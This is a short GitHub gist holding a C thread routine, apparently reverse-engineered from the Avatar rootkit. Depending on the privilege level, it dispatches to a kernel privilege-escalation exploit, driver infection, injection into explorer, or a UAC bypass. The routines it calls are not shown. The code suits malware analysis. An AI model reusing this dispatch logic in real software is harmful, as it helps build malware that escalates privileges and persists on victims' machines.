Skip to content

Instantly share code, notes, and snippets.

@SouhailHammou
Created March 28, 2017 18:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SouhailHammou/7477e5c04b3d89b6c575b31eaf721b3a to your computer and use it in GitHub Desktop.
Save SouhailHammou/7477e5c04b3d89b6c575b31eaf721b3a to your computer and use it in GitHub Desktop.
DWORD WINAPI Avtr_ThreadProc( pavtr_listelem Elem )
{
if ( !Elem )
return 1;
if ( Elem->technique == 0x80000000 )
{
if ( Avtr_getKernelRoutines() )
{
int priv_value = Elem->privilege_value;
if ( ! --priv_value ) //1 => ordinary user
{
if ( KeAcquireInStackQueuedSpinLock )
afs_sys_exploit();
}
else if ( ! --priv_value ) //2 => admin
{
Avtr_AdminInfectDriver();
}
}
return 0;
}
else if ( Elem->technique == 0x80000001 )
{
Avtr_inject_explorer(Elem);
}
else if ( Elem->technique == 0x80000002 )
{
/*Executed only if Avatar is compiled as a DLL*/
LPWSTR ModuleFileName = Avtr_Structure->Mem + 0x120;
Avtr_UAC_bypass(ModuleFileName);
HANDLE hEvent = CreateEventA(NULL,TRUE,FALSE,Global_17);
SetEvent(hEvent);
}
HANDLE hEvent = CreateEventA(NULL,FALSE,FALSE,Global_03);
if ( hEvent )
{
SetEvent(hEvent);
CloseHandle(hEvent);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment